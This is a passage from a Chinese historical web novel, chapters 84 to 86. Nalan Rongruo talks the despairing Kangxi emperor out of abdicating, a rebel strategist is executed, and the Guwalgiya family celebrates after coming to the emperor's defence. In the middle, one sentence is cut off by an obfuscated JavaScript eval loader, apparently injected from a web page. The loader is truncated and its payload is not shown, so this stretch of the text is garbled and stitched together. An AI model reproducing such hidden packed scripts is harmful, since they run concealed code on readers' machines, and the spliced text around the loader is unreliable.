“公子别站着,跟本宫一同入内看看惠嫔妹妹吧!嬷嬷,去给公子拿取暖的东西来;远黛,快去给你主子和公子备早膳。” 纳兰理智道:“谢皇后娘娘,臣进入宫内嫔妃的寝殿不合适。” 赫舍里心开目明道:“没有不合适的,多亏你和你额娘一起为本宫分忧,惠嫔妹妹才能安然生产,你的守矩和分寸,本宫都看在眼里。” 纳兰应了:“是。” 他承认,自己确实是想看看惠儿表妹和小阿哥的模样,心底里有一块很柔软的部分,想把自己能给的慈悲和怜爱都给惠嫔母子。 见到惠嫔时,纳兰迎来了她灼热的目光,他没有回避,而是按照礼数给惠嫔娘娘请安。 “不拘束这些,公子快请起。” 赫舍里皇后和善道:“惠嫔妹妹母子无恙,皇上添子添福,是大清国运有所好转的先兆。惠嫔妹妹一定要养好身子,皇上虽然无暇顾着后宫,但是有本宫在,必将不会叫妹妹你受委屈。” 嬷嬷道:“惠嫔娘娘宽心,皇后娘娘说了,皇长子诞生后的一切礼数,都会按照规矩来办,定是不会少的。等到太皇太后的话下来,就能加派人手到延禧宫来伺候娘娘了,娘娘的产后调理方子,太医院那边也是不敢有差池的。” 惠嫔感激道:“臣妾有皇上和皇后的福泽庇佑,才得以渡过难关。“ 纳兰站在一边,没有多跟惠嫔娘娘说话。 也许在规矩和礼数之外,唯有他昨夜对月吟诵的一首词,可以表述心境: 《调笑令·明月》 明月,明月。曾照个人离别。 玉壶红泪相偎,还似当年夜来。 来夜,来夜,肯把清辉重借? 月还是今时月,情却成了追忆情。 纳兰痴笑重温旧梦的自己,清辉只卷帘依附、只铺院庭满,何曾得以穿透人心,将这辈子所借的情债还清? * 皇后陪着惠嫔说话,纳兰准备告退、然后到侧面厢房去找额娘问安的时候,传来了总管大太监顾问行的声音:“皇上驾到——” 纳兰本来就做好了心理准备,以为玄烨的反应无非是“冷讽”或者“怒吼”,却不料这位天子真的想对他:治罪! 玄烨连新降生的小阿哥的脸都没看,就是对自己的侧妃和侧臣冷道:“惠嫔,纳兰,你俩好大的胆子!敢在朕的后宫堂而皇之地共处一室。” 赫舍里皇后解释道:“皇上误会了,叫纳兰公子入室见惠嫔妹妹和大阿哥,是臣妾的意思。此前,纳兰公子一直在延禧宫外庭独站,没做坏规矩之事。” “皇后,你竟然帮着他说话?”玄烨指向纳兰,“朕对你,太失望了!” 赫舍里起身,试图让皇上免动干戈:“臣妾说的是实话,宫里之人可以作证。” 玄烨直走到惠嫔面前,俯身看着她。 “你该不会是觉得——纳兰的安心感和可靠性要胜过朕许多,所以就宁愿与他一同分享得子之乐,也不肯派人来向朕说一声‘求见’吧?” 惠嫔不肯放下那份不屈,直面回应道:“臣妾没有叫人通知皇上,是怕皇上在处理军国大事的过程中分神。臣妾的宫女远黛托了梁公公告知纳兰公子,是因为臣妾与公子本就是家人。除此之外,无它。” “朕才是你的夫君、家人!” 玄烨没有给惠嫔一点好脸色。 “皇上!”纳兰叫了玄烨一声,不想他为难惠嫔,“臣自请清白,对得住任何人。” “臣子犯了错,就该罚。你有什么话要为自己辩解的,到刑部去说!” “皇上当真不信?” “你重情心善,不可能对千钧一发的惠嫔无动于衷。你慈悲爱人,不可能立宿中庭而不入寝殿陪伴佳人。朕目之所见,也是你与惠嫔眉眼相笑之景。” 玄烨笃定地相信自己的判断,不肯原谅、不肯放过自己的臣子。 “纳兰,你对惠嫔的这份感情,藏的深啊!瞒的朕好啊!” * “报——” 忽然间,一个侍卫匆匆而入。 “慌慌张张,什么事?” 玄烨往凳子上一坐,指着那侍卫气问。 “皇上,大事不好,南疆兵马势如破竹,与朱三太子相勾结,买通我朝内部苟利之人,算计我朝守卫军,已经渐近皇城了……” 说罢,侍卫跪走着递上了《战报帖子》。 玄烨凄凉而笑。 笑着笑着,就走出了延禧宫,他决定: 去奉先殿向列祖列宗谢罪,一旦逼宫之事成真,自己就颁布《罪己诏》,不再当这个皇帝了! 84.第84章 被康熙皇帝扔掉的《战报帖子》,安静地躺在地面上。 纳兰弯腰捡起,再认真看了一遍,然后带在了身上。 赫舍里皇后问:“纳兰公子你看,现在如何是好?” 纳兰思忖道:“后宫之事,一切由皇后娘娘做主和操持。皇上那边,我吃过早膳后去劝。” * 奉先殿内。 玄烨对着列祖列宗的排位和画像而跪,顾问行站在皇上身侧,不敢吱声。 “太祖在上,太宗世祖在上,不孝之辈玄烨自请罪过。” “朕自亲政以来,每日勤勤恳恳:擒拿鳌拜,集皇权于手中,展抱负于天下;革新体制,复翰林、撤内院、废议政王大臣会议,意在精简议事流程,上行下效,求的一个君明臣贤;兴修水利,改造河道,力保漕运,只为巩固江山社稷,不让百姓因饥荒而反,避免粮仓因虚报而空;主张满汉一家,尊重汉籍读书人,重用有才能的满人大臣,循序渐进融合儒家文化与满洲之俗,志在让大清定鼎中原,无可撼动。” “如今天不遂朕愿,平藩之事,时机虽到,朕却低估了吴三桂的部将和精兵的能耐,以至于我军在长江以北节节败退,防线堪危。南明余党未消,朱三太子真假未断,连南疆王都欺负到大清头上来了,竟然敢造反于皇城之下。” “朕无能啊!所用之兵,未能平乱、未能压贼、未能解围。所用之人,未能出策、未能降敌、未能尽忠。朕当着列祖列宗的面,把这些事事关己的耻辱都说出来,就是为了给祖宗们一个交待——” 此时,传来了大门被推开的声音。 玄烨回头一看,竟然是纳兰。 “你怎么才来?”玄烨招手让纳兰到自己身边,“不会真走错了路,从刑部折返到朕身边的吧?” “臣陪额娘一起用早膳,吃饱才有余力跟皇上共赴国难。” 纳兰笑了笑。 他心里清楚,皇上已经没空再计较他跟惠嫔之间事情了。国家大事,要比纠缠不清的感情要重要的多。 * 无人说话的时候,奉先殿安静的森森发冷。 一排排明晃晃的烛火,就跟是轮回之光一般,好似在说:康熙皇帝会选择跟他阿玛顺治皇帝一样的结局,不要江山,不要名声。 一缕缕往上升的香雾,萦绕着那一片隅地儿,能否传诉:康熙皇帝比谁都要无奈和难安,再多的表面矜持,再多的君威死撑,在祖宗们面前都破绽百出。 玄烨直言:“朕的退位诏书,就交给你来写吧!” “臣不能从命。”纳兰立断道,“不能把自己的一世英名,葬送在皇上的糊涂话里。” “朕没辙了。”玄烨一叹,“前无进路后无退路,跟等死没区别。” 顾问行连忙跪下,道:“万岁爷,您不能自暴自弃啊!您口中的一些话,纳兰公子和奴才听得,列祖列宗可听不得。” “等朕见着祖宗们了,自然会再说一遍。这大清的江山本应兴盛在朕手中,朕却落得一个葬送基业的——” “奴才求万岁爷别说了!”顾问行连连磕头,“求求万岁爷了。” 纳兰正色道: “皇上不是要做千古一帝吗?不是要将自己的恢弘大志展示给全天下的子民们看吗?怎么能这般没出息地躲去供奉列祖列宗们的牌位的奉先殿?试问皇上:有脸面对列祖列宗和爱新觉罗家的子孙后代吗?” “臣的话要是不中听,皇上大可以让顾总管去慈宁宫请了太皇太后过来,让太皇太后当着列祖列宗们的画像来训话。太皇太后一直坐镇后宫,未出一句丧气之言,未有一点慌措之样,不就是为了给皇上做后盾吗?皇上你脱口就说出‘等死’二字来,有多伤太皇太后的心?多丢祖宗们的脸?” “ ‘生’不逢时的不是惠嫔,而是朕!朕才是‘生’不逢时的皇帝。” 拿残酷的玩笑话对比过后,玄烨敲了敲自己的额头。 “历史对帝王的评价,是最不公平的。”纳兰劝慰道,“但是身为皇家血脉的宿命却是天子所独有。皇上你既然没得选,就该把肩上的担子扛起来。” “纳兰你说,朕的继位是不是意外?朕的大刀阔斧改革是不是笑话?朕的喜怒无常是不是偏执可恨?” “都不是。皇上你是人不是神仙,所以你有自己脾气和七情六欲。而不阴沉,臣愿意追随这样的君主。” 不知怎么的,香鼎之中的一炷香竟然横腰折断,未燃尽的香灰部分洒落桌面、部分飘散地上,惊的玄烨以为列祖列宗显了灵。 纳兰用眼神示意:顾总管,把香鼎撤去,把香灰扫净。 等到这些动作都做完了以后,玄烨扬手叫顾问行退下,自己也干脆不跪了,就坐在蒲团之上,对列祖列宗投去了“事已至此,莫怪孙辈”的表情。 “朕的皇位给你,你要不要?” “皇上要当大清的罪人,不要把臣推到风口浪尖。” “朕在紫禁城呆不下去了,决心迁都盛京。” “皇上把睿亲王多尔衮千辛万苦打下来的京师皇城拱手让人,不觉得圣颜殆尽吗?满洲男儿尚知‘勇往直前,不回老家’之理,皇上作为天子,却弃城而逃,日后要背负多少骂名?” “朕不是没想过,效仿崇祯皇帝自裁免辱。” “皇上要是想死,除非是臣先死了!否则皇上这般轻薄性命之举成为定局,日后怕是连个全尸都难存!皇上身后,有多少大臣和嫔妃,皇上是连他们的死活都不顾了吗?如此,天下苍生还指望谁给他们好日子过?” “朕不是不配为帝,而是形势所逼,这把龙椅坐不下去了!” “吴三桂还没打到皇上跟前,南疆王也没有逼宫到皇上面前,皇上身后有太皇太后、有忠臣、有护驾精锐,还没到舍龙椅而去的时候。” “龙椅易主,那也是朕迟早要面对的事。” “皇上怎么能说出这般丧失斗志的话?要是大清天子自身都把事态往坏的方向去想、认为败局不可逆转——那么老天爷,还会眷顾天下原本就属于皇上你的王土一丝一毫吗?那么爱新觉罗家的列祖列宗,还会保佑皇上你反败为胜、再写大清辉煌吗?” “朕的脑子乱的很,你的话……朕不想听,也听不进去。” “即便如此,臣也要说。为臣者,难时不助君,危时不劝君,急时不谏君,就是失职,论罪当杀。臣要好好活着,也恳请皇上好好活着!” * 玄烨收拾好了心情,决心回养心殿。 顾问行松了一口气,小心翼翼帝随着万岁爷走出了奉先殿。 路上。 君臣之间有这样的对话。 “纳兰,你不觉得自己判断有误吗?说什么吴三桂走陆路的胜算小于走水路。” “恕臣直言,吴三桂要是走水路,怕是江南片区早就不是皇上的了,由此长驱直上,比被长江所挡攻势更猛。” “朕现在除了等战报和做指挥之外,还能干什么?” “君心在,皇上人在,比什么都重要,皇上只要稳住阵脚不离开紫禁城、不说迁都、退位之类的戏言就好。” “什么戏言,明明是混账话!” “臣不是太皇太后,没资格教训皇上。” “好在是现在朕想明白了,这个大清国的皇上,只能是玄烨一人!不是什么吴三桂和朱三太子能够取代的。” “皇上,与其说是太皇太后挑中了你来继承大统,不如说你是顺应天命之君。正因如此,你要做的事情才比别的帝王多、你要面对的敌况才比旧朝难、你要承担的责任才比谁都重。” “纳兰你记着,朕回心转意继续挑起大清江山的担子,不是被你说服的,而是自己开悟的!你只是朕的陪臣,恰好说了些有用的话而已。” 纳兰没有回应什么。 飘零的冬雪落在脸颊上,冷的明显。 陪臣永远是陪臣,有功不能居,有过必遭嫌,是好是坏的评说,全看皇上的心情。 唯有那么几番自生的感动萦绕心头: 太皇太后那边好交待,至少皇上的鲁莽想法全都及时抛弃,不必叫太皇太后动气;前线将士那边好求稳,至少皇上的斗志又回来了,不必叫将士们后悔保护了一个胆小怯懦之君;近前大臣那边好有数,至少皇上与家国同在,不必叫大臣们人心惶惶、怕国破家不在。 “朕想过了,该放你回家去歇几天。朕觉得……连日以来,彼此形影不离、谈论国事太久……你累了。” “臣羡慕皇上,体力跟得上心力。” “没事少走动,明府是个比皇宫安全的地方。” “好,臣收下皇上的关心,不给战事添扰。皇上保重。” “你这点不好,朕想听到一些誓死伴君的铮铮之言,你偏就不说。” “皇上圣意明了,就是不想让臣卷入‘南疆王逼宫’的祸事之中。臣再装模作样取悦君心,没必要。” “你错了,你还是没有摸清朕的脾气。” “不,是皇上没有摸清臣的脾气。” * 瓜尔佳府邸。 朴尔普听说禹之鼎在外求见,下意识就道:“那家伙不会是来本官家里避难的吧?现在的世道哪里都不太平,他以为躲到这里来,就有指望了?” 家丁道:“老爷,禹画师是来咱们府上带云辞格格一起……” “住口!”朴尔普一喝,“他俩要是敢私奔,就是不忠不孝、私情至上!” “老爷误会了。”家丁赶紧往下说,“禹画师他是想跟云辞格格一起,就在咱们府上,同舟共济、生死与共的。” “那就叫他进来,本官倒想看看他有没有那份赤胆!” 朴尔普一见眼前人,就问:“曹寅能离开京师执行皇命,我纳兰贤婿能守在君侧出谋划策,你能为国为君做点什么啊?” 禹之鼎一身风骨道:“我能卖画筹军费、作画稳军心、献画化敌情。” “都是些耍嘴皮子的!”朴尔普冷哼一声,又回头吩咐管家,“你去把云辞叫到客厅来,就说禹画师一颗真心不怕死,连去敌营献画的荒唐事都打算去做。” 等到云辞出来了,朴尔普往禹之鼎身上一指,道:“女儿,外头的情况不必阿玛说,你切记:现在不是讲儿女情长的时候。” “女儿看禹画师也不是来谈情说爱的。”云辞几乎堵的朴尔普无话可说,“要是皇上连江山都不要了,还不如让天下多喜结几对连理。” “皇上好好地在皇宫里坐着,女儿你怎么能说这番大不敬的话来?” “我跟皇上年纪相仿,所以懂得皇上在想什么。我没有小看皇上的意思,只是忽然想到一点,不知道可否对阿玛说——” “直说无妨。” “咱们瓜尔佳氏一族,自祖宗爷费英东起,连出两位满清第一巴图鲁:图赖和鳌拜,谁不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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云禹两人,坐在府中花园的小亭台内,唯见树梢雪随着天上雪飘落。 气候见冷,北风扫经发丝和衣襟而过,唯有两颗相近的心余热永存。 有丫鬟送来了茶饮和点心,云辞却让拿走,道: “禹画师此时此刻哪里需要这些?他是近来未执笔作画,怕手感生疏了。你去取笔墨纸砚来,再把小香炉也一并拿来,才叫做做对了事” 那丫鬟便听了格格的吩咐,重新做事去了。 等到那丫鬟去了格格说要的东西过来,却不见了禹画师。 她一边铺陈画纸,一边摆放墨砚和染料盒子,问:“格格,不知道禹画师现在身在何处?” 云辞道:“我怕他冷着,叫他随着家仆到里屋去换保暖的袍子了。” “还是格格想的周到,不然禹画师空手而来,也是不顾着自己又失了规矩。” “我喜欢像他那样的坦率纯粹之人。” 说罢,云辞起身,扶着亭柱看向远方。 ——与我相关的三个男子。 ——纳兰公子可称:万全周到、未雨绸缪、前预后果;索二公子可称:爽朗豪快、肯动心思、不好不坏。唯独是禹之鼎,不拘一格,不变自我,不移本性,浑身上下都写满了一个“真”字。 见禹之鼎的身影走近。 云辞笑着迎上前去,在他身边道:“咱们画枝头雪,你寻意境,我做陪伴。” * 明府。 袖云听见渐近的、熟悉的脚步声,双眸立刻湿润了。 她放下手中的红叶,开门迎了出去。 她哽咽着:“公子,您可算回来了。” 容若温和道:“嗯,我很好。” 复掏出手帕,轻拭了拭她的眼角,“妆花了之后要补,所以眼泪珍贵,我都看着接着。” “普天之下,最危险的地方就是皇宫。”袖云随容若走向书桌,陪伴在容若身旁,“皇宫之中,最容易遭到刺杀的就是皇上,而公子独自陪在皇上近侧,这些日子以来,袖云几乎不敢合眼睡下。” “险境之中也有好事发生,惠儿诞下了皇长子。”容若悦色道,“皇上给大阿哥取了名字,叫做:胤禔。‘禔‘是安宁安康的意思,一个很契合当下皇上的休战心愿的命名。” “恭喜惠嫔娘娘。”袖云转悲为喜,“后妃诞下子嗣,就是立功。” “额娘留在惠儿身边照顾着,大概要一个月后再回家。” “是,夫人不在府上时,老爷的生活起居都交由得力的丫鬟照料着,一切正常顺遂。” “袖云,我好久未呆在家中,觉得房间的一切都格外亲切温馨。特别是你重新布置过的画桌,我亦是认为每一样东西都摆放的好。” “公子的书斋四季都要换摆设,袖云只求合公子心意。” “你做的很好,我没有要挑的。接下来我就每日坐在这里读读书、弄弄笔墨,等待宫中的战况转机和捷报。” “是。公子的心境始终明澈,重当下、亦有所期。” 容若拿了瓶中的一枝腊梅来压在稿纸上,随后题词道: 《玉银簪·腊梅小感》 梅与谁期?最好莫相负。恨有芳华在,恐作去年花,香影错、自沉浮。 小阁莫窥,憔悴容颜,总被欢情换却。今回南轩,盈手巧设,湛湛玲珑意。天涯战事不休,唯冰清、一一向物华,最相惜。 【注1】南轩:指书房。 85.第85章 太和殿内,玄烨穿着一身戎装。 正全神贯注地戒备战况之时,有统卫头领前来报喜:“启禀皇上,一等公朴尔普大人亲率瓜尔佳精兵前来勤王!兵马已经到达紫禁城外,正等着皇上同意,好入内护驾!” 玄烨眼前一亮,振奋道:“开城门,准许朴尔普大人的兵马入内!朕当年擒拿鳌拜,留下朴尔普大人等瓜尔佳氏之人性命,不削爵位、不罚俸禄,如今他们是来向朕报恩了。” 统卫头领道:“皇上,除了朴尔普大人外,其他与朝廷交好的八旗王爷们也是个个骁勇善战,已经助力九门提督吴大人一同,浴血杀敌了!” “当真?”玄烨从位置上站起,“八旗王爷们不是因改制一事对朕耿耿于怀吗?他们真的肯相助于朕?” “回皇上,王爷们是为了大清!”统卫头领激昂道,“不是看皇上您一个人的面子。” “好,传朕命令,不余一切力量,保证京师之内的粮草、寒衣、用水、军械等物资的供给,前线将帅即代表朕来统战,令出必行!皇宫之中,安排朴尔普大人的精兵到御前当值护驾,原本驻守御前的侍卫营精锐,调往慈宁宫、中宫、六宫,力保太皇太后、皇后、众嫔妃安危。” “奴才领命,即刻传达!” “你退下吧。” 说罢,玄烨亲自走出太和殿外,遥望朴尔普大人和精兵们的阵影。 当夜,玄烨从养心殿惊醒。 耳边皆是一阵强过一阵的冷兵器交锋之声和模糊不清厮杀叫喊之语。 玄烨披衣坐起:“顾总管,何人在宫中发起战事?” 顾问行应道:“回万岁爷,是朱三太子的人买通了守城官兵,又有安插在皇宫之中的线人太监做引路,就一路杀进来了,那些狂徒,目中无君、口出弑君之言,个个都是死罪啊!” 玄烨问:“朱三太子本人可参与其中?一经发现,不必请朕的意思,当场斩杀就是!” “奴才不清楚。”顾问行一心护主,“皇上您现在应立刻起身,穿上铠甲立威养心殿,才能起到激发将士们战斗力的作用啊!” 玄烨立刻照办。 迅速更衣完毕,他就来到了养心殿正殿,直面仅仅一门相隔的战况。 又有另一个统卫来报:“启禀皇上,朴尔普大人已将叛乱平息,朱三太子本人未见踪影,倒是生擒了军师吴为用,不知是否立刻带吴为用来见?” 玄烨冷静道;“带进来!” 两个官兵便将那军师押到了皇上面前,玄烨只听见吴为用破口大骂:“康熙,本来今日是你的死期,岂料你竟然有一等公护驾,免去一死!我吴为用生是大明人、死是大明鬼,你休想叫我归顺大清,也休想从我口中问出朱三太子下落!” “朕可以笼络武将、让武将为大清所用,却不会去求像你这样的、有几分诸葛之才的军师。”玄烨冷问,“高估自己的份量,就是自己找死你知道吗?” “我本就没想过活着走出皇宫,朱三太子一日未死,大明就一日未亡!”吴为用慷慨激昂,“大清入主中原,贻笑大方;满人统治汉人,不成体统;康熙皇帝不死,天理不存!” “来人,将这个吴为用拖出去,立即斩杀于众俘虏的朱三太子党贼兵们面前!”玄烨面色如铁,“朕就是要叫天公地母好好看看,康熙皇帝是不是一个顶天立地的好皇帝。” 玄烨走到吴为用面前,甩出一句狠话:“朕要去谒拜明孝陵,叫你们的明太祖朱元璋承认:大清国的康熙皇帝,是比他还要伟大的多的圣君!” “呸——”吴为用朝地上啐了一口,“凭你也配跟明太祖相提并论?试问康熙你有何威震四海的政绩?除鳌拜、撤三藩、工河道、改漕运、整吏治……桩桩件件,哪个不是自私为己、只想集权!你的帝王心,是扬己名望和求人认可之心,而不是达观天下和望远千秋之心,你有什么资格说自己伟大、功盖明太祖!” 玄烨大笑。 他指着吴为用道:“朕谒拜明太祖,是因为朕尊重汉人和尊重中原文化,由此而得到的向心力和凝聚力,其实你能够明晓的?朕不必在明太祖目前大放厥词,在未来,历史会给朕一个公平公正的评价。” 吴为用倔强不屈,只把康熙皇帝的话当作耳边风。 迎合到了康熙皇帝的眼神,顾问行上前问那军师:“你之将死,还有什么话要说? 吴为用一字不语,如孤傲之苍狼,视死如归。 顾问行回到康熙皇帝身边,道:“万岁爷,奴才以为:当下不杀此人,更待何时?此人的根性,是至死都不会扭转的了!” “来人——”玄烨高喊,“把逆贼给朕拿下,立斩于贼军面前!所俘之贼军众人,交给兵部和刑部按律处置!” “万岁爷英明。”顾问行有力道,“是爱新觉罗列祖列宗的好子孙!” “顾总管,你去慈宁宫将今夜之事仔细回了太皇太后;梁九功,你去把朴尔普大人请到朕面前来,朕要对他论功行赏。” “奴才等遵命。” * 次日,明府收到了“皇上斩杀贼军军师和律处贼军军团”的消息,明珠父子不禁捏了一把汗,不似索额图父子那般欢呼雀跃。 打赏了传卒和遣走传卒以后,明珠父子回到了渌水亭坐下。 旁侧的冬荷含霜而立,远离硝烟,纤尘不染,跟外头的紧张局势形成鲜明对比。容若温看了几眼那些花,心里一半澄澈一半浊然。 “说到底,朱三太子未能捉拿,大清的龙脉就不可谓安稳。” “阿玛,万一朱三太子早已不在世上,一切打着朱三太子的名号行事之人,都是假冒的呢?” “那也宁可信其有,不可信其无。皇上即便是错杀,也比未杀的好啊!” “阿玛说的没错,‘朱三太子’一日不抓到并处死,天底下就会不断地冒出打着他的名号来反清的人,为了国有宁日,皇上是需要下狠心。” 明珠用指关节敲了敲桌面,问:“关键是怎么抓?谁去抓?” 容若思量道:“不一定要皇上派人暗中去执行任务,或许吴三桂也会先一步找出朱三太子、并将他置于死地,吴三桂不是想当皇帝吗?那他肯定不允许威胁到自己所自称的‘承接天命’的旗号的人存在呀!” “看似三足鼎立,”明珠摇头,“实则唇亡齿寒。” “啊对了,吴三桂的儿子吴应熊也行踪不明。” “吴应熊有什么要紧的?”明珠一挥手,“他逃得了一时,逃不了一世。等到他被拿下之后,本官就建议皇上把他扣做人质,以要挟吴三桂。等到吴三桂死了,本官就进谏皇上把吴应熊也一并处死,彻底覆灭了他们吴家想要建立的大周王朝。” 容若提醒:“阿玛别忘了,吴应熊好歹是大清额驸,顺治皇帝将建宁公主嫁给他了。阿玛您的措施要是太猛太急,怎么向太皇太后交待?” 明珠大义凛然道:“本官是为皇上为大清着想,无暇理会皇家私情和太皇太后个人亲情。” 容若微皱眉,“那吴应熊之子、吴三桂之孙吴世璠和吴世霖,是否也当死?” “自然是当死。”明珠无情道,“但不是由皇上赐死,而是要让现实逼的他们兄弟自尽、从此再无吴三桂后人存活于世。” “儿懂了,听从和理解阿玛的意思就是。”容若已经开悟,“斩草除根,才是巩固大清江山之本。阿玛您不是将吴氏一族赶尽杀绝,而是对康熙皇帝忠心耿耿。” 明珠欣慰地点了点头,“阿玛倒是忘了问你,皇上追究你跟惠儿之间的事情没有?” “儿不知道。” “你怎么能不知道,你不是比阿玛还懂皇上的心思吗?” “儿懂的是帝王心不是帝王情,生怕自己只是暂时被皇上饶恕,日后皇上还会变本加厉地追讨……” “你本就是在乎惠儿,所以阿玛知道:你一旦决定了去守护她,凭谁都劝不了你。只是你不该听了赫舍里皇后的话,真的跑进惠嫔娘娘的寝殿去,触犯宫规事小,败坏皇上的名声事大。” “怪我,想看看小阿哥的模样罢了。” 明珠觉得容若天真重情,重的不但是对惠儿的感情,更是对惠儿的骨肉的疼惜之情,终将为皇上所不容。 便给容若讲道理:“以后你也会为人父,膝下儿女满堂的时候,你看也看不过来,何必急于一时?” “托阿玛吉言,儿当真希望如此。”容若发自内心有所盼切,“从年轻到白发苍苍,一直有儿女相伴,一直被儿女记挂。” “照着我们满人的规矩,你娶了正妻之后就要搬出去住。恰好阿玛也另外为你修建了一座别墅,你离不开的亭子和莲池,也都仿着明府既存的布景在建设当中了。” “儿不走,即便是大婚以后,也不走。” 明珠本来还想问为何,最终是做了罢。 ——也好,容若想留下就留下吧! ——“家”的概念,“人多”也是一部分。 * 孝庄太皇太后和苏麻喇姑一同,来到延禧宫为大阿哥胤禔:洗三。 见惠嫔已经无需卧床、可以由宫女远黛扶着在院子内走动了,孝庄夸赞道:“是咱们满人嫔妃的表率,不似汉人妃子柔弱娇气。” 惠嫔自然是听出了孝庄话里的意思: 上回选秀,皇上纳蒙古出身的妃子只有两名,比汉族妃子纳的还少,蒙古出身的孝庄也不好明说什么,只能由的皇上来。 所以这回紫禁城危在旦夕,孝庄的蒙古亲族里面,一队兵马都未前来勤王,好似在向康熙皇帝昭示:是你不仁在先,就休怪我等按兵不动。 “老祖宗。”请安之后,惠嫔谦逊道,“臣妾听闻:当年太宗皇帝前后所得皇八子和皇九子,可是您和皇九子福气大,连老天爷都降下红光相贺,所以皇九子才有了‘福临’这个名字。臣妾愿意学着老祖宗,自立自强,当个好额娘,悉心照顾孩儿长大。” “你这话不错。”孝庄遥想往事,“宸妃恃宠而骄,日日占据太宗皇帝的心,以至于后宫嫔妃雨露无沾,我的姑姑,也就是孝端皇后那可是看在眼里急在心里,多次进言皇上也不起作用。所以我不让自己活得好、不把福临照顾好不行啊!” “咱们啊,不提什么善恶有报,只提福分消受。”苏嬷嬷感慨道,“宸妃专宠,不晓人情世故,她们母子自然福薄。庄妃有度,冰雪聪明,知进知退,福报自来。这道理,就跟咱们皇上的生母佟妃一样,福气都在后头呢。” 苏嬷嬷复在惠嫔面前多补充了一句:“多亏是老祖宗教导的好 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“好好好,惠嫔你就当好额娘。”孝庄亲自抱过小阿哥,用自己的额头对了对他,“等到小阿哥满周岁,就让我来做主,叫皇上晋升你为妃位。” “老祖宗恩典,臣妾惶恐。” “诞下皇子,本就有功,凭借功劳晋升位份,合情合理。皇后那边,也是同喜同乐的。” “是。臣妾一定为皇上尽心,为皇脉尽力。” “好。”孝庄把小阿哥放回惠嫔手中,“我就不多久留了,日后延禧宫有什么需要的,惠嫔你尽管向苏嬷嬷提就是。” “臣妾谢老祖宗,恭送老祖宗。” 往回走的路上。 苏麻喇姑问:“老祖宗,咱们要不要去养心殿看看皇上?” 孝庄道:“皇上把心放心军国大事上是好事,咱们没必要去打搅,免得让皇上以为后宫事多。” “只是……”苏麻喇姑犹豫着道,“皇上这么长一段时间不去后宫、不去见嫡长子和皇长子,怕是皇后那边也难跟众嫔妃交待,总不能老是拿‘国事’为理来打发众嫔妃回宫吧?” “是啊,我知道。”孝庄缓步走着,“后宫里头的女人们啊,最怕的就是没有盼头。皇上对自己的妃子,专宠是错,一个不宠也是错,想要均沾雨露而有心无力更是错,难啊!” * 朴尔普凯旋而归。 夫人章佳氏、女儿云辞和“外人”禹之鼎一同站在瓜尔佳府邸门口相迎。 “妾身见过老爷。”章佳氏对朴尔普福了一福,“老爷武运昌盛,一击拿下‘朱三太子’所布的余党贼寇,救驾御前,乃是瓜尔佳氏一族的荣耀。” “皇上赏了本官一条金丝线所织的腰带,说是价值不菲。本官拿‘皇上赏赐,意义不同’来回话和谢恩之后,就把金丝线腰带带回府上来了。” 说罢,朴尔普就将东西拿了出来,亮相给家人们看。 云辞问:“阿玛您打算如何处置这条金丝线腰带?” 朴尔普下意识道:“这宝贝当然是不宜公开系用,所以本官打算珍藏着。” “这可不成,”云辞敏锐提议,“阿玛您应当叫手艺好的织工把腰带的金丝线一根一根地拆卸下来,然后赏赐给跟随您一同救驾的将士们,这叫做:共沐皇恩。” “你说的有理。”朴尔普听从了女儿的话,将腰带拿给管家,“这‘抽丝’的差事交给你去办,你可千万给本官办妥当了!” “小的遵命。” 说罢,管家就匆匆去外头找信得过的织工了。 朴尔普一边往里走、一边皱眉问“多余”的禹之鼎:“禹画师,这些天你是跟本官的女儿形影不离、形似厮守吗?” “在下愿意成为未来的岳父大人的家人!” 朴尔普把脸一板,“除了儿女情长,你就没点别的抱负和大志了吗?” “有!”禹之鼎大声一应,“在下要把画作卖到日本和西洋去,就差一个契机……” “够了!”朴尔普打断,“你现在是不打算给敌军献画议和,而想着赚外国人的银子了吗?你记清楚了,你的身份是宫廷画师和皇上的御用画师,不是干走私行当的画商。” 禹之鼎信誓旦旦:“在下打算去‘花鸟风月楼‘接触各行各路的人,从中寻找推销自己画作出海的机会,好扬我大清国威。” “你没能引战两国算好。”朴尔普冷讽了一句,“禹画师,你的才能应该用在大悦龙颜上,而不是想些不着边际的东西。” “在下有一个特别符合实际的事情想做。” “你说——” “得胜当贺,举家同乐。我禹之鼎欲与未来的岳父大人一同畅饮好酒!” “你——” “一醉方休,还请成全。” 朴尔普惊讶半刻,才吩咐了家仆去拿酒。 这么想来:自己跟禹之鼎之间可以放肆喝,喝到两醉快活似神仙,也不必在乎酒后的失态与狂言。反之,自己跟纳兰“贤婿”之间,怕是只有安静喝茶和无声赏花的份儿,一切矜持、一切岸然。 “你也有几分好。”朴尔普难得对禹之鼎一夸,“本官就姑且与你一同且饮且歌罢!” 86.第86章 一个月后。 玄烨在宫中度过了一个简朴的春节,甚至连“岁末把笔”的内容都没有认真写,而是草草了事。 孝庄对此看不过去,就严肃地对玄烨训了一番话。玄烨除了应“是”,也没有别的表态,之后,还是回归到了该理的朝务和军务之中。 情况迎来好转,是在飘雪暂细的时候。 有传卒来报:“恭喜皇上贺喜皇上,南疆兵马,已经镇压。是驻守陕甘的大将胡清炎立下的大功!” 玄烨大惊,未想到起了作用的,不是九门提督和八旗王爷们的兵力,而是一个意料之外的人。 “给朕往详细了说——” “曹寅,图海,周培公,决定在王辅臣南下攻打吴三桂之后,就班师回朝,勤王灭敌。胡清炎胡将军主动请缨,集合最富战斗力的兵马,随曹寅等人回京师。期间,军师周培公堪称再世诸葛,想出了‘以少胜多’之策,又有胡将军的灵活指挥和将士们的奋勇无畏,使得我军一举击溃南疆兵力。” “好!” “图海将军和功臣胡清炎已经砍下敌军正副统帅的首级,余下的兵士,均表示愿意归顺和效忠我大清。” “好!” “南疆王已经被生擒,押入天牢,等候皇上处置。” “自古以来,叛贼当诛,到朕这一朝,自然也不例外。朕会叫人拟写南疆王的条条罪状,张贴于城门之下,公诸于众。等到刑部选好日子,就将南疆王送往刑场斩首示众。” “吾皇英明!” * 玄烨抽空去延禧宫看了惠嫔母子。 他带在脸上的神情,是长风破浪后京师终归平静的喜悦,而非对小阿哥的垂爱与疼惜。 玄烨坐到了惠嫔身边,抱过小阿哥,用手刮了刮小阿哥的脸,问:“惠嫔,你有没有觉得委屈?” 